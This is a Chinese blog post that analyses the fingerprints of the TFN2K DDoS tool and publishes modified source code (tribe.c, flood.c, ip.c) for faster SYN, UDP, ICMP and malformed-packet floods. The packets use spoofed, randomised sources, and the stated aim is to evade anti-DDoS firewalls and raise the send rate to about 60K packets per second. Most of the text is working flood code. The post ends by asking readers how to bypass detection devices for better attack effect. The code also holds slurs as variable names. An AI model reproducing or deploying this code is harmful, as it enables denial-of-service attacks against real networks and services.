tfn2k 优化

tfn2k 优化 (作者: r0otk1tz)

TFN2K攻击工具曾是非常流行的DDOS攻击工具。它可以控制大量类UNIX平台的主机作为傀儡主

机,同时向一台目标机发起synflood/udpflood/icmpflood等攻击行为。但根据网络上流传

的代码存在大量的BUG与指纹,且很多地方极像是发布者故意为了减小攻击效果所做的修改,

在网络上可以找到大量的关于TFN2K攻击工具的分析文档,主要阐述了以下几个方面的指纹特

征:
SYNFLOOD攻击数据包特征:
TCP头的特征
  TCP头长度字段为0
     TCP校验和计算错误
     TCP标记置为SYN|URG
     TCP紧急指针偏移被置为随机
     TCP ACK序列号被置为随机
  SYN包不包含任何TCP选项
         
IP层头的特征:
  IP的TTL值在200到255之间随机
     源IP地址经常被随机数生成为末位数为0
     SYN包未置DF位

根据实际测试,TFN2K的代码在攻击包发送能力、攻击效果上存在以下问题:
1、     在生成并发送包函数中调用了大量的随机数生成函数,随机数生成函数效率较低,导

致发送数据包速率大大降低,在P41.7 512M内存 100M网卡上每秒最大发包能力只能到14K

每秒。
2、     SYN包的TCP头生成错误,导致目标系统不会实际响应该攻击数据包,仅仅*大量的数

据包发送来占用目标系统的资源。典型的目标系统计算TCP校验和失败则直接丢弃,根本不能

令目标系统产生大量半连接。
3、     具有太明显的指纹特征。如TCP头长度字段为0字节,TCP标记为SYN|URG,而显然一

个正常的SYN包不可能具有这些特征。
4、     校验和计算函数没有进行任何优化,计算能力极低,也影响了包发送的速率。
5、     TTL值在200到255跳之间随机,互联网上路由器绝对不会超过30跳,普通的协议栈的

TTL初始值应该在255、128、64、32之间选择,所以极易被防火墙等设备根据TTL范围计算后

直接进行过滤。
6、     生成IP地址虽然是随机但未进行有效性检查,易生成D类地址或以上的源IP,也影响

了包的攻击效果,导致攻击包直接被丢弃。
7、     TCP头未包含任何TCP选项,而协议规定在双方交换SYN包的时候必须声明本端的MSS。
8、     未置IP头中的DF(不允许分片位)标志,也是直接可用于指纹检测的一个标志。

根据以上的分析,对其进行以下几个方面的优化之后,包发送速率可达到每秒60K个以上的

SYN包,并且数据包被相应的防火墙检查丢弃的可能性大大降低:
1、     校验和优化。在进行实际的SYN包发送之前,首先对发送BUFFER进行预置值并进行校

验和计算,在构造SYN包的各个字段的随机值(如源IP、IPID、SEQ号、源端口、TTL值等)之

时再更新相应部份的校验和,然后再进行最后一次校验和计算并填入。
static u8 char synb[8192];
void synpkt_init(u32 dip,u16 dport)
{
   struct ip *ih = (struct ip *) synb;
   struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
   struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct

tcp)+sizeof(tcpopt));
   ih->ver = 4;
   ih->ihl = 5;
   ih->tos = 0x00;
   ih->tl = htons(sizeof (ih) + sizeof (th)+sizeof(tcpopt));
   ih->id =0;             //random
   ih->off = 0x0040;     //Don’t Fragment bit must set----fingerprint         
   ih->ttl =0;             //random
   ih->pro = TCP;             
   ih->sum = 0;         //recaculate
   ih->src =0;             //random
   ih->dst = dip;

   
   th->src =0;             //random
   th->dst =htons(dport);
   th->seq =0;             //random
   th->ack =0;
   th->flg = SYN;         
   th->win =0xffff;     //65535
   th->sum = 0;         //recaculate
   th->x2 = 0;
   th->off = 0x7;  
   th->urp =0;//  

   memcpy(synb+sizeof(struct ip)+sizeof(struct tcp),tcpopt,8);
     /*init pseduo header*/
   ptcph->sip=0;
   ptcph->dip=dip;
   ptcph->proto=TCP;
   ptcph->zero=0;
   ptcph->len=htons(28);

   ipsum=sum((u16*)ih,sizeof(struct ip));
   tcpsum=sum((u16*)th,sizeof(struct tcp)+sizeof(tcpopt)+sizeof(struct phdr));
   
   sin.fam = AF_INET;
   sin.dp = th->dst;
   sin.add = ih->dst;
}

unsigned long sum(u16 *buff,int len)
{
     unsigned long cksum;
     for (cksum = 0; len > 0; len-=2)
             cksum += *buff++;
     return cksum;
}

     先将需要随机填入的部份字段置0,然后进行求和并放入全局变量中tcpsum中。由于SYN

包不含任何实际的TCP数据,且TCP头上度为20个字节,TCP选项长度为8字节。所以直接将TCP

伪头置于TCP头的后面进行计算,不影响校验和计算结果。sum求和函数为简单的求和,由于

我们自己知道发送的数据包均为偶数个字节,所以不需要判断需要填充的行为。
void
syn(unsigned long victim, unsigned short port)
{
   struct ip *ih = (struct ip *) synb;
   struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
   struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct

tcp)+sizeof(tcpopt));
   unsigned long sumip,sumtcp;
   sumtcp=tcpsum;
   
   ih->id = get_ipid();//htons (getrandom (16384, 65535));
   ih->ttl=get_ttl();
   ih->src = k00lip();
   th->src=get_sport();
   sumtcp+=th->src;
   th->seq = k00lip();
   sumtcp+=((th->seq)&0xffff);
   sumtcp+=((th->seq)>>16);

   sumtcp+=((ih->src)&0xffff);因为伪头的缘故,所以要将源IP加入计算
   sumtcp+=((ih->src)>>16);   
   sumtcp=(sumtcp>>16)+(sumtcp&0xffff);
   sumtcp+=(sumtcp>>16);       
   th->sum=(u16)(~sumtcp);
   sendto (rawsock, synb, 4 * ih->ihl +8+ sizeof (struct tcp), 0, (struct

sockaddr *) &sin, sizeof (sin));
}
  在实际生成SYN数据包并进行发送的时候是直接在生成随机字段之后将其值加入前面算好

的校验和之内,并于最后进行填充校验和字段并发送。
  注意这里我们只计算了TCP层的校验和而没有计算IP层的校验和,因为协议栈会自己重新

计算IP校验和,所以我们没有必要再算一次浪费时间。
2、     指纹检测逃避优化。
a)     修正TCP头长度为0的BUG
b)     修改TCP FLAGS标记变为SYN
c)     修改紧急指针为0
d)     修改TCP窗口大小为65535。此窗口大小值为WINDOWS系统的默认值。
e)     修改IP TTL值在255 /128/64/32/之间变化,并在本值基础上随机减小一个0-5之间

的随机值。
f)     修改源IP的随机生成算法。增加检测回环地址及大于D类地址的无效地址。
g)     修改源端口的随机生成算法。变成在1024到4096之间进行随机选择,因为windows系

统很少使用高端端口,这点是为了逃避指纹检测。
h)     SEQ值的生成选择和IP地址随机生成使用相同的算法。
i)     在随机数读取中采用一次从/dev/random设备中读取1M字节的随机值,以避免发送过

程中的频繁设备IO。
j)     直接利用从/dev/random设备中读取的随机字符作为随机数生成源,不再进行srand()

与rand()再次产生伪随机数。
k)     下面是随机数生成算法的改进版。
unsigned short get_ipid(void)
{
     u16 *pShort;
     if(rcounter<2)
         random_init();
     rcounter-=2;
     pShort=(u16*)&rseed[rcounter];
     return (*pShort);
}
unsigned short get_sport(void)
{
     u16 sport=get_ipid();
     return htons((sport&0xFFF)|0x400);
}
unsigned char get_ttl(void)
{
     static unsigned char ttl[4]={255,128,64,32};
     static unsigned long i=0;
     return(ttl[(i++)&3]-(get_char_ran()&0x0f));
}
void  
random_init (void)
{
   int rfd = open ("/dev/urandom", O_RDONLY);
   if (rfd < 0)
     rfd = open ("/dev/random", O_RDONLY);
   rcounter = read (rfd, rseed, 1*1024*1024);
   close (rfd);
}

优化后的flood.c及ip.c及tribe.c文件中的代码:


tribe.c

/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* tribe.c - common functions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

int rcounter = 0;
char rseed[1*1024*1024];
extern unsigned long myip;
extern int nospoof;

void  
random_init (void)
{
   int rfd = open ("/dev/urandom", O_RDONLY);
   if (rfd < 0)
     rfd = open ("/dev/random", O_RDONLY);
   rcounter = read (rfd, rseed, 1*1024*1024);
   close (rfd);
}

inline
long  
getrandom (int min, int max)
{
   if (rcounter < 2)
     random_init ();
   srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
   rcounter -= 2;
   return ((random () % (int) (((max) + 1) - (min))) + (min));
}

inline unsigned char get_char_ran(void)
{
       if (rcounter < 2)
           random_init ();
       rcounter--;
       return (rseed[rcounter]);
}

unsigned char get_ttl(void)
{
     static unsigned char ttl[4]={255,128,64,32};
     static unsigned long i=0;
     return(ttl[(i++)&3]-(get_char_ran()&0x0f));
}

unsigned short get_ipid(void)
{
     u16 *pShort;
     if(rcounter<2)
         random_init();
     rcounter-=2;
     pShort=(u16*)&rseed[rcounter];
     return (*pShort);
}

unsigned short get_sport(void)
{
     u16 sport=get_ipid();
     return htons((sport&0xFFF)|0x400);
}

void
trimbuf (char *buf)
{
   int i = 0;
   for (i = 0; i < strlen (buf); i++)
     if ((buf[i] == ’\n’) || (buf[i] == ’\r’))
       buf[i] = ’\0’;
}

inline unsigned long
k00lip (void)
{
//   struct in_addr hax0r;
   unsigned long ip,*pLong;
//   char convi[16];
//   int a, b, c, d;
/*
   if (nospoof < 1)
     return (unsigned long) (getrandom (0, 65535) + (getrandom (0, 65535) <<

8));
     */
/*
   hax0r.s_addr = htonl (myip);

   sscanf (inet_ntoa (hax0r), "%d.%d.%d.%d", &a, &b, &c, &d);
   if (nospoof < 2)
     b = getrandom (1, 254);
   if (nospoof < 3)
     c = getrandom (1, 254);
   d = getrandom (1, 254);
*/
if (rcounter < 2)
     random_init ();
//   srand (rseed[rcounter] + (rseed[rcounter - 1] << 8));
   rcounter -= 4;   
   pLong=(u32*)&rseed[rcounter];
   ip=*pLong;
//   ip=rand();
//   ip|=(rand()<<16);
   if((ip>>29)==7)
       ip&=0xdfffffff;
   else if((ip>>24)==0x7f)
       ip>>=1;
   return (ntohl(ip));
//   sprintf (convi, "%d.%d.%d.%d", a, b, c, d);

//   return inet_addr (convi);
}

void  
tfntransmit (unsigned long from, unsigned long to, int proto, char id, char

*target)
{
   char buf[BS], data[BS];
   struct ip *ih = (struct ip *) buf;
   struct icmp *ich = (struct icmp *) (buf + sizeof (struct ip));
   struct udp *udh = (struct udp *) (buf + sizeof (struct ip));
   struct tcp *tch = (struct tcp *) (buf + sizeof (struct ip));
   struct sa sin;
   char *p;
   int tot_len = sizeof (struct ip), ssock;

   memset (data, 0, BS);
   data[0] = PROTO_SEP;
   data[1] = id;
   data[2] = PROTO_SEP;
   strncpy (data + 3, target, BS - 3);

   sin.fam = AF_INET;
   sin.add = to;
   memset (buf, 0, BS);

   ih->ver = 4;
   ih->ihl = 5;
   ih->tos = 0x00;
   ih->tl = 0;
   ih->id = htons (getrandom (1024, 65535));
   ih->off = 0;
   ih->ttl = getrandom (200, 255);
   ih->sum = 0;
   ih->src = from;
   ih->dst = to;

   switch ((proto == -1) ? getrandom (0, 2) : proto)
     {
     case 0:
       tot_len += sizeof (struct icmp);
       ih->pro = ICMP;
       ssock = socket (AF_INET, SOCK_RAW, ICMP);
       p = buf + sizeof (struct ip) + sizeof (struct icmp);
       ich->type = 0;
       ich->code = 0;
       ich->id = getrandom (0, 1) ? getrandom (0, 65535) : 0;
       ich->seq = getrandom (0, 1) ? getrandom (0, 65535) : 0;
       ich->sum = 0;
       encode64 (data, p, strlen (data));
       tot_len += strlen (p);
       ich->sum = cksum ((u16 *) ich, tot_len >> 1);
       ih->tl = tot_len;
       sin.dp = htons (0);
       break;
     case 1:
       tot_len += sizeof (struct udp);
       ih->pro = UDP;
       ssock = socket (AF_INET, SOCK_RAW, UDP);
       p = buf + sizeof (struct ip) + sizeof (struct udp);
       udh->src = htons (getrandom (0, 65535));
       udh->dst = htons (getrandom (0, 65535));
       udh->sum = 0;
       encode64 (data, p, strlen (data));
       tot_len += strlen (p);
       udh->sum = cksum ((u16 *) udh, tot_len >> 1);
       udh->len = htons (sizeof (struct udp) + 3 + strlen (p));
       ih->tl = tot_len;
       sin.dp = htons (udh->dst);
       break;
     case 2:
       tot_len += sizeof (struct tcp);
       ih->pro = TCP;
       ssock = socket (AF_INET, SOCK_RAW, TCP);
       p = buf + sizeof (struct ip) + sizeof (struct tcp);
       tch->src = htons (getrandom (0, 65535));
       tch->dst = htons (getrandom (0, 65535));
       tch->seq = getrandom (0, 1) ? htonl (getrandom (0, 65535) + (getrandom

(0, 65535) << 8)) : 0;
       tch->ack = getrandom (0, 1) ? htonl (getrandom (0, 65535) + (getrandom

(0, 65535) << 8)) : 0;
       tch->off = 0;
       tch->flg = getrandom (0, 1) ? (getrandom (0, 1) ? SYN : ACK) : SYN |

ACK;
       tch->win = getrandom (0, 1) ? htons (getrandom (0, 65535)) : 0;
       tch->urp = 0;
       tch->sum = 0;
       encode64 (data, p, strlen (data));
       tot_len += strlen (p);
       tch->sum = cksum ((u16 *) tch, tot_len >> 1);
       ih->tl = tot_len;
       sin.dp = htons (tch->dst);
       break;
     default:
       exit (0);
       break;
     }

   setsockopt (ssock, IP, IP_HDRINCL, "1", sizeof ("1"));
   if (sendto (ssock, buf, tot_len, 0, (struct sockaddr *) &sin, sizeof (sin))

< 0)
     perror ("sendto");

   close (ssock);
}

#ifdef ATTACKLOG
void
dbug (char *s)
{
   int f = open (ATTACKLOG, O_WRONLY | O_APPEND | O_CREAT);
   write (f, s, strlen (s));
   close (f);
}
#endif

flood.c
/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* flood.c - packet flood implementations
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"

extern int rcounter;
extern char rseed[];

int rawsock = 0, fw00ding = 0, nospoof = 0, port4syn = 0, psize = 0;
static char synb[8192];
static int fbi = 1, cia = 65535;
//#define CALULATE_IPCKSUM 1

unsigned char tcpopt[8]={0x02,0x04,0x05,0xB4,0x01,0x01,0x04,0x02};
unsigned long ipsum,tcpsum;
struct sa sin;

/*
* caculate initpacket sum.
*len must be 2*X
*/

unsigned long sum(u16 *buff,int len)
{
     unsigned long cksum;
     for (cksum = 0; len > 0; len-=2)
             cksum += *buff++;
     return cksum;
}

void synpkt_init(u32 dip,u16 dport)
{
   struct ip *ih = (struct ip *) synb;
   struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
   struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct

tcp)+sizeof(tcpopt));
   ih->ver = 4;
   ih->ihl = 5;
   ih->tos = 0x00;
   ih->tl = htons(sizeof (ih) + sizeof (th)+sizeof(tcpopt));
   ih->id =0;             //random
   ih->off = 0x0040;     //Don’t Fragment bit must set----fingerprint         
   ih->ttl =0;             //random
   ih->pro = TCP;             
   ih->sum = 0;         //recaculate
   ih->src =0;             //random
   ih->dst = dip;

   
   th->src =0;             //random
   th->dst =htons(dport);
   th->seq =0;             //random
   th->ack =0;
   th->flg = SYN;         
   th->win =0xffff;     //65535
   th->sum = 0;         //recaculate
   th->x2 = 0;
   th->off = 0x7;  
   th->urp =0;//  

   memcpy(synb+sizeof(struct ip)+sizeof(struct tcp),tcpopt,8);
     /*init pseduo header*/
   ptcph->sip=0;
   ptcph->dip=dip;
   ptcph->proto=TCP;
   ptcph->zero=0;
   ptcph->len=htons(28);

   ipsum=sum((u16*)ih,sizeof(struct ip));
   tcpsum=sum((u16*)th,sizeof(struct tcp)+sizeof(tcpopt)+sizeof(struct phdr));
   
   sin.fam = AF_INET;
   sin.dp = th->dst;
   sin.add = ih->dst;
}

extern unsigned char get_ttl(void);
void
syn(unsigned long victim, unsigned short port)
{
   struct ip *ih = (struct ip *) synb;
   struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
   struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct

tcp)+sizeof(tcpopt));
   unsigned long sumip,sumtcp;
   //sumip=ipsum;
   sumtcp=tcpsum;
   
   ih->id = get_ipid();//htons (getrandom (16384, 65535));
//   sumip+=ih->id;
   ih->ttl=get_ttl();
//   sumip+=(ih->ttl)<<8;
   ih->src = k00lip();
//   sumip+=(ih->src)&0xffff;
//   sumip+=(ih->src)>>16;
   th->src=get_sport();
   sumtcp+=th->src;
   th->seq = k00lip();
   sumtcp+=((th->seq)&0xffff);
   sumtcp+=((th->seq)>>16);

//   ptcph->sip=ih->src;
   sumtcp+=((ih->src)&0xffff);
   sumtcp+=((ih->src)>>16);
   
   sumtcp=(sumtcp>>16)+(sumtcp&0xffff);
   sumtcp+=(sumtcp>>16);
       
   th->sum=(u16)(~sumtcp);
   sendto (rawsock, synb, 4 * ih->ihl +8+ sizeof (struct tcp), 0, (struct

sockaddr *) &sin, sizeof (sin));
}


void
syn_bak(unsigned long victim, unsigned short port)
{
   struct sa sin;
   struct ip *ih = (struct ip *) synb;
   struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
/*   unsigned char buff[128];
   struct phdr *ptcph=(struct phdr*)buff;
*/
   struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct

tcp));
   ih->ver = 4;
   ih->ihl = 5;
   ih->tos = 0x00;
   ih->tl = sizeof (ih) + sizeof (th);
   ih->id = htons (getrandom (1024, 65535));
   ih->off = 0;
   ih->ttl = getrandom (200, 255);
   ih->pro = TCP;
   ih->sum = 0;
   ih->src = k00lip ();
   ih->dst = victim;
   
   th->src = htons (getrandom (0, 65535));
   if (port > 0)
     th->dst = htons (port);
   else
     th->dst = htons (getrandom (0, 65535));
   th->seq = htonl (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
   th->ack =0;// htons (getrandom (0, 65535));
   th->flg = SYN;
   th->win = htons (getrandom (0, 65535));
   th->sum = 0;
   th->x2 = 0;
   th->off = 0x5;  
   th->urp =0;// htons (getrandom (0, 65535));

/******************************/
   ptcph->sip=ih->src;
   ptcph->dip=ih->dst;
   ptcph->proto=6;
   ptcph->zero=0;
   ptcph->len=htons(20);
/*
   memcpy(buff+sizeof(struct phdr),th,20);
   th->sum = ip_sum ((u16 *)buff, (sizeof (struct phdr) + sizeof (struct tcp)

+ 1) & ~1);
*/  
   th->sum = ip_sum ((u16 *)th, (sizeof (struct phdr) + sizeof (struct tcp) +

1) & ~1);

#ifdef CALULATE_IPCKSUM
ih->sum = ip_sum ((u16 *) synb, (4 * ih->ihl + sizeof (struct tcp) + 1) &

~1);
#endif

   sin.fam = AF_INET;
   sin.dp = th->dst;
   sin.add = ih->dst;
   sendto (rawsock, synb, 4 * ih->ihl + sizeof (struct tcp), 0, (struct

sockaddr *) &sin, sizeof (sin));
}

static char udpb[1600];
unsigned long udpsum;
struct sa udpsin;
void udppkt_init(unsigned long larmer)
{
     struct ip *iph;
     struct udp *udph;
     struct phdr *pudh;
     unsigned char *pdata;
     unsigned short t_len;
     int i;
     iph=(struct ip*)udpb;
     udph=(struct udp*)(udpb+sizeof(struct ip));
     pdata=(unsigned char*)(udpb+sizeof(struct ip)+sizeof(struct udp));
     pudh=(struct phdr*)(udpb+sizeof(struct ip)+sizeof(struct udp)+psize);
     t_len=sizeof(struct ip)+sizeof(struct udp)+psize;
     
     /*Init ip hdr*/
     iph->ihl=5;iph->ver=4;
     iph->tos=0;
     iph->tl=htons(t_len);
     iph->id=0;         //random
     iph->off=0;
     iph->ttl=0;         //random
     iph->pro=UDP;
     iph->src=0;         //random
     iph->dst=larmer;
     iph->sum=0;

     /*init udp hdr*/
     udph->src=0;
     udph->dst=0;
     udph->len=htons(sizeof(struct udp)+psize);
     udph->sum=0;

     /*init pudphdr*/
     pudh->dip=larmer;
     pudh->sip=0;             //random
     pudh->proto=UDP;
     pudh->zero=0;
     pudh->len=htons(t_len-sizeof(struct ip));
         
     for(i=0;i<t_len;i++)
         pdata[i]=getrandom(0,0xff);

     udpsum=sum((u16*)udph,t_len-sizeof(struct ip)+sizeof(struct phdr));
     udpsin.fam=AF_INET;
     udpsin.dp=0;             //raw socket send,this segment is invalid
     udpsin.add=larmer;
}

void udp(unsigned long larmer)
{
     struct ip *ih;
     struct udp *uh;
     unsigned long sumudp=udpsum;
     
     ih=(struct ip*)udpb;
     uh=(struct udp*)(udpb+sizeof(struct ip));
     
     ih->id = htons(getrandom (16384, 65535));
     ih->ttl=get_ttl();
     ih->src = k00lip();
     sumudp+=((ih->src)&0xffff);
     sumudp+=((ih->src)>>16);

     uh->src=htons (getrandom(2048,4096));
     sumudp+=uh->src;
       uh->dst=htons(getrandom(0,65535));
     sumudp+=uh->dst;
     
       sumudp=(sumudp>>16)+(sumudp&0xffff);
       sumudp+=(sumudp>>16);
     uh->sum=(~sumudp);
     sendto (rawsock, &udpb,sizeof(struct ip)+sizeof(struct udp)+psize, 0,

(struct sockaddr *) &udpsin, sizeof (udpsin));
}


void
udp_bak (unsigned long lamer)
{
   int tot_len = (sizeof (struct ip) + sizeof (struct udp) + 1 + psize)&~1;
   struct sa llama;
   struct
     {
       struct ip iph;
       struct udp udph;
       unsigned char evil[65535];
     }
   faggot;

   faggot.evil[psize] = 0x3F;

   if (fbi++ > 65535)
     fbi = 1;
   if (cia-- < 1)
     cia = 65535;

   faggot.iph.ihl = 5;
   faggot.iph.ver = 4;
   faggot.iph.tos = 0x00;
   faggot.iph.tl = htons (tot_len);
   faggot.iph.id = htons (getrandom (0, 65535));
   faggot.iph.off = 0;
   faggot.iph.ttl = getrandom (200, 255);
   faggot.iph.pro = UDP;
   faggot.iph.src = k00lip ();
   faggot.iph.dst = lamer;
   #ifdef CALULATE_IPCKSUM
   faggot.iph.sum = ip_sum ((u16 *) & faggot.iph, sizeof (faggot.iph));
   #endif

   faggot.udph.src = htons (cia);
   faggot.udph.dst = htons (fbi);
   faggot.udph.len = htons (tot_len-sizeof(struct ip));
   faggot.udph.sum = 0;
       {
         struct phdr *pudph=(struct phdr*)(((char*)&faggot)+tot_len);
         pudph->sip=faggot.iph.src;
         pudph->dip=faggot.iph.dst;
         pudph->proto=UDP;
         pudph->zero=0;pudph->len=htons(tot_len-20);
         faggot.udph.sum = cksum ((u16 *) & faggot.udph, tot_len-sizeof(struct

ip)+sizeof(struct phdr));
       }   

   llama.fam = AF_INET;
   llama.dp = faggot.udph.dst;
   llama.add = lamer;

   sendto (rawsock, &faggot, tot_len, 0, (struct sockaddr *) &llama, sizeof

(llama));
}

void
icmp (unsigned long lamer, unsigned long src)
{
   struct sa pothead;
   struct ip *iph;
   struct icmp *icmph;
   char *packet;
   int pktsize = sizeof (struct ip) + sizeof (struct icmp) + 64;

   if (psize)
     pktsize += psize;

   packet = malloc (pktsize);
   iph = (struct ip *) packet;
   icmph = (struct icmp *) (packet + sizeof (struct ip));
   memset (packet, 0, pktsize);
   iph->ver = 4;
   iph->ihl = 5;
   iph->tos = 0;
   iph->tl = htons (pktsize);
   iph->id = htons (getpid ());
   iph->off = 0;
   iph->ttl = 0x0;
   iph->pro = ICMP;
   iph->sum = 0;
   if (src == 0)
     {
       iph->src = k00lip ();
       iph->dst = lamer;
     }
   else
     {
       iph->src = lamer;
       iph->dst = src;
     }
   icmph->type = ICMP_ECHO;
   icmph->code = 0;
   icmph->sum = htons (~(ICMP_ECHO << 8));

   pothead.fam = AF_INET;
   pothead.dp = htons (0);
   pothead.add = iph->dst;

   sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &pothead, sizeof

(struct sockaddr));
   free (packet);
}

void
targa3 (unsigned long victim)
{
   int mysize = sizeof (struct ip) + getrandom (128, 512) + psize, i;
   char *packet = calloc (1, mysize);
   struct ip *iph = (struct ip *) packet;
   struct udp *udh = (struct udp *) (packet + sizeof (struct ip));
   struct tcp *tch = (struct tcp *) (packet + sizeof (struct ip));
   struct icmp *ich = (struct icmp *) (packet + sizeof (struct ip));
   struct sa sin;

   int proto[14] =
   {                 /* known internet protcols */
     0, 1, 2, 4, 6, 8, 12, 17, 22, 41, 58, 255, 0,
   };
   int frags[10] =
   {                 /* (un)common fragment values */
     0, 0, 0, 8192, 0x4, 0x6, 16383, 1, 0,
   };
   int flags[7] =
   {                 /* (un)common message flags */
     0, 0, 0, 0x4, 0, 0x1,
   };

   for (i = 0; i < mysize; i++)
     {
       if (rcounter-- < 1)
     random_init ();
       packet[i] = rseed[rcounter];
     }
   proto[13] = getrandom (0, 255);
   frags[9] = getrandom (0, 8100);
   flags[6] = getrandom (0, 0xf);
   iph->ver = 4;
   iph->ihl = 5;
   iph->tos = 0;
   iph->tl = htons (mysize);
   iph->id = htons (getrandom (0, 65535) + (getrandom (0, 65535) << 8));
   iph->ttl = 0x00;
   iph->pro = proto[(int) getrandom (0, 13)];
   switch (iph->pro)
     {
     case TCP:
       tch->sum = 0;
       tch->sum = cksum ((u16 *) packet, mysize >> 1);
       break;
     case ICMP:
       ich->sum = 0;
       ich->sum = cksum ((u16 *) packet, mysize >> 1);
       break;
     case UDP:
       udh->sum = 0;
       udh->sum = cksum ((u16 *) packet, mysize >> 1);
       break;
     }
   iph->off = htons (frags[(int) getrandom (0, 9)]);
   iph->sum = 0;
   iph->src = getrandom (0, 65535) + (getrandom (0, 65535) << 8);
   iph->dst = victim;

   sin.fam = AF_INET;
   sin.dp = htons (0);
   sin.add = victim;

   sendto (rawsock,
       packet,
       mysize,
       flags[(int) getrandom (0, 6)],
       (struct sockaddr *) &sin,
       sizeof (sin));
   free (packet);         /* free willy */
}

ip.c
/*
* Tribe FloodNet - 2k edition
* by Mixter <mixter@newyorkoffice.com>
*
* ip.c - low level IP functions
*
* This program is distributed for educational purposes and without any
* explicit or implicit warranty; in no event shall the author or
* contributors be liable for any direct, indirect or incidental damages
* arising in any way out of the use of this software.
*
*/

#include "tribe.h"
#include "ip.h"

unsigned long
resolve (char *host)
{
   struct hostent *he;
   struct sa tmp;
   if (isip (host)){
       char *pchar;
     for(pchar=host;;pchar++)
         if(((*pchar)!=’.’)&&((*pchar<’0’)||(*pchar >’9’))){ /*这地方好像

解析的时候就是有点问题,没正确判断IP地址的结尾,后来硬加的*/
             *pchar=’\0’;
             break;
             }
     return (inet_addr (host));
       }
   he = gethostbyname (host);
   if (he)
     {
       memcpy ((caddr_t) & tmp.add, he->h_addr, he->h_length);
     }
   else
     return (0);
   return (tmp.add);
}

char *
ntoa (u32 in)
{
   struct in_addr ad;
   ad.s_addr = in;
   return (inet_ntoa (ad));
}

int
isip (char *ip)
{
   int a, b, c, d;
   sscanf (ip, "%d.%d.%d.%d", &a, &b, &c, &d);
   if (a < 0)
     return 0;
   if (a > 255)
     return 0;
   if (b < 0)
     return 0;
   if (b > 255)
     return 0;
   if (c < 0)
     return 0;
   if (c > 255)
     return 0;
   if (d < 0)
     return 0;
   if (d > 255)
     return 0;
   return 1;
}
u16
cksum (u16 * buf, int nwords)
{
   unsigned long sum;
   for (sum = 0; nwords > 0; nwords--)
     sum += *buf++;
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   return ~sum;
}
/*
unsigned short cksum(u16 *data,int len)
{
         unsigned long sum=0;
         __asm__ __volatile__(
     &, nbsp;    "pushl %%ecx\r\n\t"
         "pushl %%edx\r\n\t"
                 "shrl $1,%%ecx\r\n\t"
                 "jnc 1f\r\n\t"
                 "movzbw (%%edx,%%ecx,2),%%ax\r\n\t"
                 "1:jcxz 4f\r\n\t"
                 "shrl $1,%%ecx\r\n\t"
                 "jnc 2f\r\n\t"
                 "addw (%%edx,%%ecx,4),%%ax\r\n\t"
                 "2:jcxz 4f\r\n\t"
                 "3:addl -4(%%edx,%%ecx,4),%%eax\r\n\t"
                 "adcl $0,%%eax\r\n\t"
                 "loop 3b\r\n\t"
                 "4:shldl $16,%%eax,%%ecx\r\n\t"
                 "addw %%cx,%%ax\r\n\t"
                 "adcw $0,%%ax\r\n\t"
                 "notw %%ax\r\n\t"
         "popl %%edx\r\n\t"
         "popl %%ecx\r\n\t"
                 :"=a"(sum):"a"(sum),"c"(len),"d"(data):"memory");
         return ((unsigned short)sum);
}*/
unsigned short
ip_sum (addr, len)
      unsigned short *addr;
      int len;
{
   register int nleft = len;
   register unsigned short *w = addr;
   register int sum = 0;
   unsigned short answer = 0;

   while (nleft > 1)
     {
       sum += *w++;
       nleft -= 2;
     }
   if (nleft == 1)
     {
       *(unsigned char *) (&answer) = *(unsigned char *) w;
       sum += answer;
     }
   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return (answer);
}

测试效果: 在优化之后,一台P4 1.7 512M 100M网卡机器上小包SYN 62BYTE可发送到

6万个每秒。64字节的ICMP包的发送速率差不多,UDP随着包长的增长而速率会有所降低。

SYNFLOOD作为一种很“老套”很常见的攻击行为之后,似乎随着各种抗DDOS攻击设备的出现

,已经很容易的抵抗这种攻击行为,再次对此攻击方式研究的目的在于想请大家都能讨论一

下,针对各种抗DDOS攻击设备的检测算法,我们是否能像其它攻击方式(如IDS检测攻击)一

样来逃避其检测,达到更好的攻击效果呢。

本人还未实际接触过任何抗DDOS攻击设备的效果,希望对此有研究或有条件的人能进行一下

测试或大家一起讨论。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
